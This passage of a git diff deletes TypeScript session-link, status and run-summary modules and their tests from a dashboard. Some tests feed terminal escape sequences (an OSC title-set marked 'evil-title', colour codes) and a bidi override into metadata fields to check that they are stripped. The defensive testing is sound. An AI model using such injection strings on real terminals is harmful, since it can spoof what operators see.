-  const runtimeById = new Map(
-    runtimeBeads
-      .map((bead) => [nonEmpty(bead.id), bead] as const)
-      .filter((entry): entry is readonly [string, DashboardBead] => entry[0] !== undefined),
-  );
-
-  return {
-    ...raw,
-    beads: raw.beads.map((bead) => mergeRunBead(bead, runtimeById.get(bead.id))),
-  };
-}
-
-function mergeRunBead(bead: RunSnapshotBead, runtime: DashboardBead | undefined): RunSnapshotBead {
-  if (!runtime) return bead;
-  const status = nonEmpty(runtime.status) ?? bead.status;
-  const assignee = nonEmpty(runtime.assignee) ?? bead.assignee;
-  const merged: RunSnapshotBead = {
-    ...bead,
-    status,
-    metadata: {
-      ...bead.metadata,
-      ...presentationMetadata(runtime.metadata),
-    },
-  };
-  if (assignee !== undefined) merged.assignee = assignee;
-  return merged;
-}
-
-function presentationMetadata(metadata: DashboardBead['metadata']): Record<string, string> {
-  if (!metadata) return {};
-  const out: Record<string, string> = {};
-  for (const key of PRESENTATION_METADATA_KEYS) {
-    const value = metadata[key];
-    const text = nonEmpty(value);
-    if (text) out[key] = text;
-  }
-  return out;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/session-link.test.ts b/internal/api/dashboardspa/web/shared/src/runs/session-link.test.ts
deleted file mode 100644
index 39f1b50987..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/session-link.test.ts
+++ /dev/null
@@ -1,60 +0,0 @@
-import { test, describe } from 'node:test';
-import assert from 'node:assert/strict';
-
-import { runSessionLinkFor } from './session-link.js';
-
-// Regression coverage for the rig-store / polecat run "invalid session id"
-// bug. A polecat run records its session as the pool-qualified NAME
-// (`polecat-gc-333573`), whose real supervisor session id is the gc-suffix
-// (`gc-333573`). When the session has completed it is absent from the live
-// session index, so it can't be resolved by name — the link must normalize
-// the recorded value to the supervisor id itself, or the Session tab feeds a
-// name where an id is expected and the route rejects it as "invalid session id".
-describe('runSessionLinkFor — session id normalization', () => {
-  test('normalizes a pool-qualified session name in metadata to the supervisor id', () => {
-    const bead = {
-      assignee: 'polecat-gc-333573',
-      metadata: { session_id: 'polecat-gc-333573' },
-    } as never;
-    const link = runSessionLinkFor(bead, 'done');
-    assert.equal(link?.sessionId, 'gc-333573');
-  });
-
-  test('leaves a clean gc-prefixed session id unchanged', () => {
-    const bead = { metadata: { session_id: 'gc-333573' } } as never;
-    const link = runSessionLinkFor(bead, 'done');
-    assert.equal(link?.sessionId, 'gc-333573');
-  });
-
-  test('derives the id from a pool-qualified assignee when no metadata id is present', () => {
-    const bead = { assignee: 'polecat-gc-333573' } as never;
-    const link = runSessionLinkFor(bead, 'done');
-    assert.equal(link?.sessionId, 'gc-333573');
-  });
-
-  test('degrades to no link when an unresolvable value carries no supervisor id', () => {
-    // A completed run whose recorded handle carries no extractable supervisor
-    // id and is absent from the live session index must NOT leak that handle
-    // into link.sessionId — the session route would reject it as "invalid
-    // session id". The link degrades so the Session tab shows a clean
-    // "session not available" empty state instead.
-    const bead = { metadata: { session_id: 'mystery-handle' } } as never;
-    assert.equal(runSessionLinkFor(bead, 'done'), undefined);
-  });
-
-  test('degrades a runtime-derived bare assignee that cannot yield a supervisor id', () => {
-    // The runtime-derived path: a completed pool/rig-store run records only an
-    // assignee (no session_id metadata), and that assignee is a bare worker
-    // name with no embedded supervisor id. With no live index match there is
-    // no usable id, so the link degrades rather than feeding "polecat" to the
-    // route as an "invalid session id".
-    const bead = { assignee: 'polecat' } as never;
-    assert.equal(runSessionLinkFor(bead, 'done'), undefined);
-  });
-
-  test('returns undefined for pending/ready nodes (no session yet)', () => {
-    const bead = { assignee: 'polecat-gc-333573' } as never;
-    assert.equal(runSessionLinkFor(bead, 'pending'), undefined);
-    assert.equal(runSessionLinkFor(bead, 'ready'), undefined);
-  });
-});
diff --git a/internal/api/dashboardspa/web/shared/src/runs/session-link.ts b/internal/api/dashboardspa/web/shared/src/runs/session-link.ts
deleted file mode 100644
index 588092c030..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/session-link.ts
+++ /dev/null
@@ -1,176 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-import type { DashboardSession } from '../dashboard-sessions.js';
-import type { RunNodeStatus, RunSessionLink } from '../run-detail.js';
-import { SESSION_ID_RE } from '../session-id.js';
-import { meta, nonEmpty } from './bead-fields.js';
-
-export interface RunSessionIndex {
-  byId: Map<string, DashboardSession>;
-  byName: Map<string, DashboardSession>;
-  byTemplate: Map<string, DashboardSession[]>;
-}
-
-export interface RunSessionLinkContext {
-  sessionIndex?: RunSessionIndex;
-  scopeRef?: string;
-}
-
-export function buildRunSessionIndex(sessions: readonly DashboardSession[]): RunSessionIndex {
-  const byId = new Map<string, DashboardSession>();
-  const byName = new Map<string, DashboardSession>();
-  const byTemplate = new Map<string, DashboardSession[]>();
-
-  for (const session of sessions) {
-    remember(byId, session.id, session);
-    remember(byName, session.alias, session);
-    remember(byName, session.title, session);
-    remember(byName, session.session_name, session);
-    const template = nonEmpty(session.template);
-    if (template) byTemplate.set(template, [...(byTemplate.get(template) ?? []), session]);
-  }
-
-  return { byId, byName, byTemplate };
-}
-
-export function runSessionLinkFor(
-  bead: RunSnapshotBead,
-  status: RunNodeStatus,
-  context: RunSessionLinkContext = {},
-): RunSessionLink | undefined {
-  if (status === 'pending' || status === 'ready') return undefined;
-  const assignee = nonEmpty(bead.assignee);
-  const sessionId = sessionIdFromBead(bead, assignee);
-  const sessionName = sessionNameFromBead(bead, assignee, sessionId);
-  if (!sessionId && !sessionName) return undefined;
-  const rawLink = rawLinkFrom(sessionId, sessionName, assignee);
-  const link = resolveRunSessionLink(rawLink, context.sessionIndex);
-  // Final gate: link.sessionId is fed straight to the supervisor session
-  // routes, which reject anything outside SESSION_ID_RE as "invalid session
-  // id". When the index could not resolve the run to a real session (a
-  // completed pool/rig-store run has dropped out of the live index) and the
-  // recorded handle carries no extractable supervisor id, drop the link so the
-  // Session tab degrades to a clean "session not available" state instead of
-  // leaking an unvalidated handle into the route.
-  if (!SESSION_ID_RE.test(link.sessionId)) return undefined;
-  return link;
-}
-
-// The bead's recorded session id can be a pool-qualified session NAME
-// (e.g. a polecat run records `polecat-gc-333573`, whose real supervisor
-// session id is `gc-333573`). Normalize every candidate through
-// supervisorSessionIdFrom so the link carries the id the session routes
-// expect — otherwise a completed session (absent from the live index, so
-// unresolvable by name) leaks its name into the id slot and the Session
-// tab rejects it as "invalid session id".
-function sessionIdFromBead(
-  bead: RunSnapshotBead,
-  assignee: string | undefined,
-): string | undefined {
-  const rawSessionId =
-    meta(bead, 'session_id') ??
-    meta(bead, 'gc.session_id') ??
-    meta(bead, 'gc.sessionId') ??
-    assignee;
-  return supervisorSessionIdFrom(rawSessionId) ?? rawSessionId;
-}
-
-function sessionNameFromBead(
-  bead: RunSnapshotBead,
-  assignee: string | undefined,
-  sessionId: string | undefined,
-): string | undefined {
-  return (
-    meta(bead, 'session_name') ??
-    meta(bead, 'gc.session_name') ??
-    meta(bead, 'gc.sessionName') ??
-    assignee ??
-    sessionId
-  );
-}
-
-function rawLinkFrom(
-  sessionId: string | undefined,
-  sessionName: string | undefined,
-  assignee: string | undefined,
-): RunSessionLink {
-  const name = sessionName ?? sessionId ?? '';
-  return {
-    sessionId: sessionId ?? sessionName ?? '',
-    sessionName: name,
-    assignee: assignee ?? name,
-  };
-}
-
-function supervisorSessionIdFrom(value: string | undefined): string | undefined {
-  const clean = nonEmpty(value);
-  if (!clean) return undefined;
-  if (SESSION_ID_RE.test(clean)) return clean;
-  const suffix = clean.match(/(?:^|[-_/])((?:gc|td|th|[a-z]{4})-[a-z0-9-]{1,32})$/)?.[1];
-  if (!suffix || !SESSION_ID_RE.test(suffix)) return undefined;
-  return suffix;
-}
-
-function resolveRunSessionLink(
-  rawLink: RunSessionLink,
-  sessionIndex: RunSessionIndex | undefined,
-): RunSessionLink {
-  if (!sessionIndex) return rawLink;
-  const session = resolveRunSessionSummary(rawLink, sessionIndex);
-  if (!session) return rawLink;
-  return linkForSession(session, rawLink);
-}
-
-function resolveRunSessionSummary(
-  link: RunSessionLink,
-  sessionIndex: RunSessionIndex,
-): DashboardSession | null {
-  for (const candidate of [link.sessionId, link.sessionName, link.assignee]) {
-    const key = nonEmpty(candidate);
-    if (!key) continue;
-    const exact =
-      sessionIndex.byId.get(key) ??
-      sessionIndex.byName.get(key) ??
-      uniquePreferredSession(sessionIndex.byTemplate.get(key) ?? []);
-    if (exact) return exact;
-  }
-  return null;
-}
-
-function linkForSession(session: DashboardSession, rawLink: RunSessionLink): RunSessionLink {
-  return {
-    sessionId: session.id,
-    sessionName:
-      nonEmpty(session.alias) ??
-      nonEmpty(session.title) ??
-      nonEmpty(session.session_name) ??
-      nonEmpty(session.template) ??
-      rawLink.sessionName,
-    assignee:
-      rawLink.assignee ||
-      nonEmpty(session.template) ||
-      nonEmpty(session.alias) ||
-      nonEmpty(session.title) ||
-      nonEmpty(session.session_name) ||
-      session.id,
-  };
-}
-
-function uniquePreferredSession(sessions: readonly DashboardSession[]): DashboardSession | null {
-  if (sessions.length === 0) return null;
-  const active = sessions.filter(
-    (session) => session.state === 'active' || session.running === true,
-  );
-  if (active.length === 1) return active[0] ?? null;
-  if (sessions.length === 1) return sessions[0] ?? null;
-  return null;
-}
-
-function remember(
-  store: Map<string, DashboardSession>,
-  key: string | undefined,
-  session: DashboardSession,
-): void {
-  const clean = nonEmpty(key);
-  if (!clean || store.has(clean)) return;
-  store.set(clean, session);
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/status.ts b/internal/api/dashboardspa/web/shared/src/runs/status.ts
deleted file mode 100644
index 0db61f16f3..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/status.ts
+++ /dev/null
@@ -1,36 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-import type { RunExecutionInstance, RunNodeStatus } from '../run-detail.js';
-import { meta, nonEmpty } from './bead-fields.js';
-
-export function presentationStatus(bead: RunSnapshotBead): RunNodeStatus {
-  const raw = (nonEmpty(bead.status) ?? '').toLowerCase();
-  const outcome = meta(bead, 'gc.outcome')?.toLowerCase();
-  if (raw === 'closed' || raw === 'completed' || raw === 'done') {
-    if (outcome === 'fail' || outcome === 'failed') return 'failed';
-    if (outcome === 'skipped') return 'skipped';
-    return 'completed';
-  }
-  if (raw === 'in_progress' || raw === 'active' || raw === 'running') {
-    return 'active';
-  }
-  if (raw === 'blocked') return 'blocked';
-  if (raw === 'ready') return 'ready';
-  if (raw === 'failed') return 'failed';
-  if (raw === 'skipped') return 'skipped';
-  return 'pending';
-}
-
-export function aggregateStatus(
-  instances: RunExecutionInstance[],
-  visibleInstance: RunExecutionInstance | undefined,
-): RunNodeStatus {
-  if (instances.some((instance) => isRunningStatus(instance.status))) {
-    return 'active';
-  }
-  if (visibleInstance?.status) return visibleInstance.status;
-  return 'pending';
-}
-
-export function isRunningStatus(status: RunNodeStatus | undefined): boolean {
-  return status === 'active' || status === 'running';
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/summary.test.ts b/internal/api/dashboardspa/web/shared/src/runs/summary.test.ts
deleted file mode 100644
index 78287954bc..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/summary.test.ts
+++ /dev/null
@@ -1,519 +0,0 @@
-import { test, describe } from 'node:test';
-import assert from 'node:assert/strict';
-
-import {
-  buildRunSummary,
-  emptyRunSummary,
-  runLane,
-  MAX_HISTORICAL_LANES,
-  MAX_VISIBLE_ACTIVE_LANES,
-} from './summary.js';
-import type { RunFeedScope } from './summary.js';
-import type { RunIssue } from './phaseMapping.js';
-
-// Active-classification regression coverage (gascity-dashboard-4xcv §2).
-// Operator repro gc-1920: a long-stale formula latch with status=blocked
-// (city-level, no live session) was counted and shown in the ACTIVE lane.
-// A blocked run still needs operator attention, but it is not progressing:
-// it belongs in its own blocked bucket, never in the Active set or count.
-
-function latch(overrides: Partial<RunIssue> = {}): RunIssue {
-  // Shape mirrors a real mol-focus-review latch root (gc-1920-class bead):
-  // a single graph.v2 root task with no step children.
-  return {
-    id: 'gc-1920',
-    title: 'mol-focus-review',
-    description: 'Focus + in-session review formula. Approval gate, review.',
-    status: 'blocked',
-    issue_type: 'task',
-    updated_at: '2026-04-01T00:00:00Z',
-    metadata: {
-      'gc.formula_contract': 'graph.v2',
-      'gc.kind': 'workflow',
-    },
-    ...overrides,
-  };
-}
-
-function activeRun(id: string): RunIssue[] {
-  return [
-    latch({
-      id,
-      title: 'Adopt PR #42',
-      description: 'implementation work',
-      status: 'open',
-      updated_at: '2026-06-01T00:00:00Z',
-      metadata: { 'gc.formula_contract': 'graph.v2', 'gc.kind': 'run' },
-    }),
-    {
-      id: `${id}-step-1`,
-      title: 'Implementation patch',
-      status: 'in_progress',
-      issue_type: 'task',
-      updated_at: '2026-06-01T00:05:00Z',
-      metadata: {
-        'gc.kind': 'step',
-        'gc.root_bead_id': id,
-        'gc.step_id': 'implementation.patch',
-      },
-    },
-  ];
-}
-
-function completedRun(id: string): RunIssue[] {
-  return [
-    latch({
-      id,
-      title: 'Done run',
-      description: 'merge finalize',
-      status: 'closed',
-      updated_at: '2026-05-01T00:00:00Z',
-      metadata: { 'gc.formula_contract': 'graph.v2', 'gc.kind': 'run' },
-    }),
-  ];
-}
-
-describe('buildRunSummary — blocked lanes are not Active (gascity-dashboard-4xcv)', () => {
-  test('a blocked formula latch lands in blockedLanes, not lanes or totalActive', () => {
-    const summary = buildRunSummary([latch(), ...activeRun('run-1')]);
-
-    assert.equal(summary.totalActive, 1);
-    assert.deepEqual(
-      summary.lanes.map((lane) => lane.id),
-      ['run-1'],
-    );
-    assert.deepEqual(
-      summary.blockedLanes.map((lane) => lane.id),
-      ['gc-1920'],
-    );
-    assert.equal(summary.runCounts.total, 1);
-    assert.equal(summary.runCounts.blocked, 1);
-  });
-
-  test('blocked lanes are not historical either', () => {
-    const summary = buildRunSummary([latch(), ...completedRun('run-done')]);
-
-    assert.equal(summary.totalActive, 0);
-    assert.equal(summary.totalHistorical, 1);
-    assert.deepEqual(
-      summary.historicalLanes.map((lane) => lane.id),
-      ['run-done'],
-    );
-    assert.deepEqual(
-      summary.blockedLanes.map((lane) => lane.id),
-      ['gc-1920'],
-    );
-  });
-
-  test('with no blocked lanes, blockedLanes is empty and blocked count is zero', () => {
-    const summary = buildRunSummary(activeRun('run-1'));
-
-    assert.deepEqual(summary.blockedLanes, []);
-    assert.equal(summary.runCounts.blocked, 0);
-  });
-
-  test('emptyRunSummary carries an empty blockedLanes array', () => {
-    assert.deepEqual(emptyRunSummary().blockedLanes, []);
-  });
-});
-
-// gascity-dashboard-s4rp: a run rooted at a bead missing from the store
-// (dangling root, gc-1920-class — id ~1920 vs a current store at ~346k) has no
-// authoritative root metadata. Its only members are orphan step beads pointing
-// at the absent root, so it must never be surfaced as a live lane.
-describe('buildRunSummary — dangling-root groups are not surfaced (gascity-dashboard-s4rp)', () => {
-  function orphanStep(rootId: string): RunIssue {
-    return {
-      id: `${rootId}-step-1`,
-      title: 'Implementation patch',
-      status: 'in_progress',
-      issue_type: 'task',
-      updated_at: '2026-06-01T00:05:00Z',
-      metadata: {
-        'gc.kind': 'step',
-        'gc.formula_contract': 'graph.v2',
-        'gc.root_bead_id': rootId,
-        'gc.step_id': 'implementation.patch',
-      },
-    };
-  }
-
-  test('a group whose root bead is absent does not appear anywhere', () => {
-    const summary = buildRunSummary([orphanStep('gc-1920'), ...activeRun('run-1')]);
-
-    assert.equal(summary.totalActive, 1);
-    assert.deepEqual(
-      summary.lanes.map((lane) => lane.id),
-      ['run-1'],
-    );
-    assert.deepEqual(summary.blockedLanes, []);
-    assert.deepEqual(summary.historicalLanes, []);
-    assert.equal(summary.runCounts.total, 1);
-  });
-
-  // gascity-dashboard-2j8e.2: the Runs badge counts selectBlockedRuns over
-  // blockedLanes, so a dangling-root group whose orphan step is BLOCKED must
-  // not reach blockedLanes — else the phantom inflates the badge. Pins the
-  // #87/#89 intent (suppress phantom roots with no backing bead) for the
-  // badge's source, not just the Active set.
-  function blockedOrphanStep(rootId: string): RunIssue {
-    return {
-      id: `${rootId}-step-1`,
-      title: 'Blocked patch',
-      status: 'blocked',
-      issue_type: 'task',
-      updated_at: '2026-06-01T00:05:00Z',
-      metadata: {
-        'gc.kind': 'step',
-        'gc.formula_contract': 'graph.v2',
-        'gc.root_bead_id': rootId,
-        'gc.step_id': 'implementation.patch',
-      },
-    };
-  }
-
-  test('a dangling-root group with a blocked step never reaches blockedLanes', () => {
-    const summary = buildRunSummary([blockedOrphanStep('gc-1920'), ...activeRun('run-1')]);
-
-    assert.deepEqual(summary.blockedLanes, []);
-    assert.equal(summary.runCounts.blocked, 0);
-  });
-});
-
-// gascity-dashboard-5e5v: supervisor-controlled rig/scope refs are rendered
-// verbatim by run-summary consumers (the web frontend, and any terminal client
-// that emits DTO strings into the operator's terminal — Ink tokenises ANSI but
-// does not strip escape/OSC). A hostile or malformed `gc.root_store_ref` or a
-// feed-scope ref carrying ANSI/OSC/bidi must be stripped at the DTO edge.
-
-function runIssue(overrides: Partial<RunIssue> & Pick<RunIssue, 'id'>): RunIssue {
-  return {
-    title: 'run',
-    status: 'in_progress',
-    issue_type: 'task',
-    updated_at: '2026-06-06T00:00:00.000Z',
-    ...overrides,
-  };
-}
-
-// gascity-dashboard-9w3k: v1 / wisp (non-graph.v2) runs are surfaced as lanes
-// using the same lane/stage primitives as graph.v2. The drop used to be at the
-// graph.v2-only keep-filter, which silently swallowed the entire v1 history.
-// These tests pin (a) a genuine v1 wisp run becomes exactly one lane, (b) a
-// lone engineering bead is NOT promoted into a lane (flood guard), and that
-// graph.v2 lanes are unchanged.
-describe('buildRunSummary — v1 / wisp runs surface as lanes (gascity-dashboard-9w3k)', () => {
-  // A real wisp run: a `molecule` root carrying gc.var.* template inputs but no
-  // gc.formula_contract, plus a child `task` whose metadata.molecule_id points
-  // back at the root. runRootId groups the child under the molecule root.
-  function wispRun(id: string): RunIssue[] {
-    return [
-      runIssue({
-        id,
-        title: 'mol-do-work',
-        status: 'open',
-        issue_type: 'molecule',
-        updated_at: '2026-06-02T00:00:00Z',
-        metadata: { 'gc.var.target': 'demo-app', 'gc.var.prompt': 'fix the thing' },
-      }),
-      runIssue({
-        id: `${id}-child-1`,
-        title: 'Implementation work',
-        updated_at: '2026-06-02T00:05:00Z',
-        metadata: { molecule_id: id, 'gc.step_id': 'do-work' },
-      }),
-    ];
-  }
-
-  test('a v1 wisp molecule run emits exactly one lane with a phase', () => {
-    const summary = buildRunSummary(wispRun('wisp-1'));
-
-    assert.deepEqual(
-      summary.lanes.map((lane) => lane.id),
-      ['wisp-1'],
-    );
-    assert.equal(summary.totalActive, 1);
-    const lane = summary.lanes[0];
-    assert.ok(lane !== undefined);
-    assert.equal(lane.id, 'wisp-1');
-    // mapRunPhase is generic: 'work'/'implementation' text yields a real phase.
-    assert.equal(lane.phase, 'implementation');
-    // No graph.v2 formula metadata, so the formula resolves to unavailable but
-    // the generic run stages still render.
-    assert.equal(lane.formula.status, 'unavailable');
-    assert.ok(lane.stages.length > 0);
-  });
-
-  test('graph.v2 lanes still render unchanged (regression)', () => {
-    const summary = buildRunSummary(activeRun('run-1'));
-
-    assert.deepEqual(
-      summary.lanes.map((lane) => lane.id),
-      ['run-1'],
-    );
-    assert.equal(summary.totalActive, 1);
-  });
-
-  // gascity-dashboard-9w3k: a wisp run's gc.var.* free-text template inputs must
-  // NOT drive phase classification. Here gc.var.prompt contains 'review',
-  // 'blocked', and 'merge' — phase needles that would mis-bucket the run as
-  // blocked/approval/finalization — but the run's actual work (a 'do-work' step)
-  // keeps it in implementation/active.
-  test('gc.var.* free-text does not mis-classify a wisp run as blocked/approval', () => {
-    const summary = buildRunSummary([
-      runIssue({
-        id: 'wisp-var',
-        title: 'mol-do-work',
-        status: 'open',
-        issue_type: 'molecule',
-        updated_at: '2026-06-02T00:00:00Z',
-        metadata: {
-          'gc.var.prompt': 'review the blocked PR and merge it after approval, then finalize',
-        },
-      }),
-      runIssue({
-        id: 'wisp-var-child-1',
-        title: 'Do the work',
-        updated_at: '2026-06-02T00:05:00Z',
-        metadata: { molecule_id: 'wisp-var', 'gc.step_id': 'do-work' },
-      }),
-    ]);
-
-    const lane = summary.lanes[0];
-    assert.ok(lane !== undefined);
-    assert.equal(lane.id, 'wisp-var');
-    assert.notEqual(lane.phase, 'blocked');
-    assert.notEqual(lane.phase, 'approval');
-    assert.equal(summary.blockedLanes.length, 0);
-    // The 'do-work' step keeps it in the implementation register.
-    assert.equal(lane.phase, 'implementation');
-  });
-
-  // Flood guard: a lone task/bug/feature bead (root = itself, no molecule /
-  // gc.kind=run / gc.formula) must NOT become a run lane — otherwise every
-  // engineering bead in the store would render as a phantom run.
-  test('a lone engineering bead does not become a lane', () => {
-    const loneTask: RunIssue = {
-      id: 'task-99',
-      title: 'Fix a typo',
-      status: 'open',
-      issue_type: 'task',
-      updated_at: '2026-06-02T00:00:00Z',
-    };
-    const summary = buildRunSummary([loneTask]);
-
-    assert.deepEqual(summary.lanes, []);
-    assert.deepEqual(summary.historicalLanes, []);
-    assert.deepEqual(summary.blockedLanes, []);
-    assert.equal(summary.totalActive, 0);
-    assert.equal(summary.totalHistorical, 0);
-  });
-});
-
-// gascity-dashboard: the builder carries the FULL active set on the wire — the
-// rendered 8-lane collapse is applied by the consumer (RunMap), mirroring the
-// historical section. The builder must NOT pre-cap `lanes`.
-describe('buildRunSummary — active lanes carry the full set (component-collapsed)', () => {
-  test('lanes carries every active run when there are more than MAX_VISIBLE_ACTIVE_LANES', () => {
-    const count = MAX_VISIBLE_ACTIVE_LANES + 3;
-    const issues = Array.from({ length: count }, (_, i) => activeRun(`run-${i}`)).flat();
-    const summary = buildRunSummary(issues);
-
-    assert.equal(summary.totalActive, count);
-    assert.equal(summary.lanes.length, count);
-    assert.equal(summary.runCounts.total, count);
-    assert.equal(summary.runCounts.visible, count);
-  });
-});
-
-// gascity-dashboard-9w3k (part b): the now-much-larger v1 history can bury
-// active runs in the historical set on the wire. Cap the historical lanes the
-// builder emits to the most-recent MAX_HISTORICAL_LANES, while totalHistorical
-// keeps reporting the true full count.
-describe('buildRunSummary — historical lanes are recency-bounded (gascity-dashboard-9w3k)', () => {
-  test('caps historicalLanes at MAX_HISTORICAL_LANES, keeps the most-recent ones, reports true total', () => {
-    const total = MAX_HISTORICAL_LANES + 10;
-    const issues: RunIssue[] = [];
-    // Distinct, monotonically increasing updated_at so newest-first order is
-    // unambiguous. id-N has updated_at = base + N minutes; higher N = newer.
-    // A closed molecule root is a complete v1 run (one lane each).
-    const base = Date.parse('2026-01-01T00:00:00Z');
-    for (let n = 0; n < total; n += 1) {
-      const at = new Date(base + n * 60_000).toISOString();
-      issues.push(
-        runIssue({
-          id: `hist-${String(n).padStart(3, '0')}`,
-          issue_type: 'molecule',
-          status: 'closed',
-          updated_at: at,
-        }),
-      );
-    }
-
-    const summary = buildRunSummary(issues);
-
-    assert.equal(summary.historicalLanes.length, MAX_HISTORICAL_LANES);
-    assert.equal(summary.totalHistorical, total);
-
-    // The retained lanes must be the newest N (highest n), newest first.
-    const expected = Array.from({ length: MAX_HISTORICAL_LANES }, (_, i) => {
-      const n = total - 1 - i;
-      return `hist-${String(n).padStart(3, '0')}`;
-    });
-    assert.deepEqual(
-      summary.historicalLanes.map((lane) => lane.id),
-      expected,
-    );
-  });
-});
-
-// gascity-dashboard-km0w: live run-root beads carry gc.root_store_ref
-// ("rig:gascity-packs") plus gc.var.rig_name, but NOT gc.scope_kind /
-// gc.scope_ref. Before this fix the scope derived to unavailable for EVERY
-// run, so runDetailHref omitted the scope query and the detail fetch hit the
-// supervisor at the default city scope (12-14s full-store scan then 404).
-// The scope must be recovered from gc.root_store_ref when the explicit
-// gc.scope_ref pair is absent, while gc.scope_ref stays primary when present.
-describe('runLane scope derives from gc.root_store_ref fallback — gascity-dashboard-km0w', () => {
-  function rootOnly(id: string, metadata: Record<string, string>): RunIssue[] {
-    return [
-      runIssue({
-        id,
-        title: 'mol-focus-review',
-        issue_type: 'molecule',
-        metadata,
-      }),
-    ];
-  }
-
-  test('derives rig scope from gc.root_store_ref when gc.scope_ref is absent', () => {
-    const lane = runLane(
-      'gpk-4fyo6',
-      rootOnly('gpk-4fyo6', { 'gc.root_store_ref': 'rig:gascity-packs' }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'available');
-    if (lane.scope.status !== 'available') return;
-    assert.equal(lane.scope.kind, 'rig');
-    assert.equal(lane.scope.ref, 'gascity-packs');
-    assert.equal(lane.scope.rootStoreRef, 'rig:gascity-packs');
-  });
-
-  test('derives city scope from a city: gc.root_store_ref', () => {
-    const lane = runLane(
-      'city-run',
-      rootOnly('city-run', { 'gc.root_store_ref': 'city:ds-research' }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'available');
-    if (lane.scope.status !== 'available') return;
-    assert.equal(lane.scope.kind, 'city');
-    assert.equal(lane.scope.ref, 'ds-research');
-  });
-
-  test('explicit gc.scope_ref still wins over gc.root_store_ref', () => {
-    const lane = runLane(
-      'mixed',
-      rootOnly('mixed', {
-        'gc.scope_kind': 'rig',
-        'gc.scope_ref': 'gascity-dashboard',
-        'gc.root_store_ref': 'rig:gascity-packs',
-      }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'available');
-    if (lane.scope.status !== 'available') return;
-    assert.equal(lane.scope.kind, 'rig');
-    assert.equal(lane.scope.ref, 'gascity-dashboard');
-    // rootStoreRef is still carried through verbatim.
-    assert.equal(lane.scope.rootStoreRef, 'rig:gascity-packs');
-  });
-
-  test('an unknown-prefix gc.root_store_ref is not guessed — scope unavailable', () => {
-    const lane = runLane(
-      'bad-prefix',
-      rootOnly('bad-prefix', { 'gc.root_store_ref': 'workspace:ds-research' }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'unavailable');
-  });
-
-  test('a colon-less gc.root_store_ref is not guessed — scope unavailable', () => {
-    const lane = runLane(
-      'no-colon',
-      rootOnly('no-colon', { 'gc.root_store_ref': 'gascity-packs' }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'unavailable');
-  });
-
-  test('a malformed parsed ref (fails SCOPE_REF_RE) is rejected — scope unavailable', () => {
-    const lane = runLane(
-      'malformed',
-      // leading '-' violates SCOPE_REF_RE (must start alnum).
-      rootOnly('malformed', { 'gc.root_store_ref': 'rig:-bad ref' }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'unavailable');
-  });
-
-  test('a control sequence in the derived ref fails SCOPE_REF_RE — scope unavailable', () => {
-    // The fallback validates the parsed ref against SCOPE_REF_RE BEFORE the DTO
-    // edge, so an injected ESC byte (which the pattern rejects) yields
-    // unavailable rather than a sanitised-but-spoofed ref.
-    const lane = runLane(
-      'sanitise',
-      rootOnly('sanitise', { 'gc.root_store_ref': 'rig:gascity-packs\x1b[31m' }),
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'unavailable');
-  });
-});
-
-describe('runLane scope sanitisation — gascity-dashboard-5e5v', () => {
-  test('strips ANSI/OSC from rootStoreRef on the metadata path', () => {
-    const lane = runLane(
-      'root-1',
-      [
-        runIssue({
-          id: 'root-1',
-          metadata: {
-            'gc.scope_kind': 'rig',
-            'gc.scope_ref': 'demo-app',
-            'gc.root_store_ref': 'rig:demo-app\x1b]0;evil-title\x07\x1b[31m',
-          },
-        }),
-      ],
-      new Map(),
-    );
-
-    assert.equal(lane.scope.status, 'available');
-    if (lane.scope.status !== 'available') return;
-    assert.equal(lane.scope.rootStoreRef, 'rig:demo-app');
-    assert.ok(!lane.scope.rootStoreRef.includes('\x1b'), 'no ESC byte may survive');
-    assert.equal(lane.scope.ref, 'demo-app');
-  });
-
-  test('strips ANSI/bidi from both ref and rootStoreRef on the feed-scope path', () => {
-    const feedScope: RunFeedScope = {
-      scopeKind: 'rig',
-      scopeRef: 'demo\x1b[1m‮app',
-      rootStoreRef: 'rig:demo\x1b[1mapp',
-    };
-    const lane = runLane('root-2', [runIssue({ id: 'root-2' })], new Map([['root-2', feedScope]]));
-
-    assert.equal(lane.scope.status, 'available');
-    if (lane.scope.status !== 'available') return;
-    assert.equal(lane.scope.ref, 'demoapp');
-    assert.equal(lane.scope.rootStoreRef, 'rig:demoapp');
-    assert.ok(!lane.scope.ref.includes('\x1b'), 'no ESC byte may survive in ref');
-    assert.ok(!lane.scope.rootStoreRef.includes('\x1b'), 'no ESC byte may survive in rootStoreRef');
-  });
-});
diff --git a/internal/api/dashboardspa/web/shared/src/runs/summary.ts b/internal/api/dashboardspa/web/shared/src/runs/summary.ts
index 614133cd74..de01561969 100644
--- a/internal/api/dashboardspa/web/shared/src/runs/summary.ts
+++ b/internal/api/dashboardspa/web/shared/src/runs/summary.ts
@@ -1,510 +1,6 @@
-import type { RunChange, RunCounts, RunLane, RunSummary, RunStage } from '../snapshot/types.js';
-import { fromRootMetadataScope } from '../run-scope.js';
-import { stripNonPrintable } from '../strip-non-printable.js';
-import { resolveRunFormulaIdentity } from './formula-name.js';
-import { isDanglingRootGroup } from './liveness.js';
-import {
-  isPrimaryStepIssue,
-  latestStepId,
-  mapRunPhase,
-  reviewRoundForIssues,
-  stageProgress,
-  stagesForFormula,
-  stepIssues,
-  stringValue,
-  type RunIssue,
-} from './phaseMapping.js';
-
-// Default collapsed active-lane count (component-controlled). The wire carries
-// the FULL active set in `lanes`; RunMap renders this many by default and offers
-// a "Show N more runs" expander (mirroring historicalLanes/MAX_HISTORICAL_LANES).
+// The run-summary FOLD (buildRunSummary, counts, lane/scope/phase derivation,
+// enrichment) moved to Go (internal/runproj); the dashboard renders the
+// server-computed RunSummary DTO. This window size is the one presentation knob
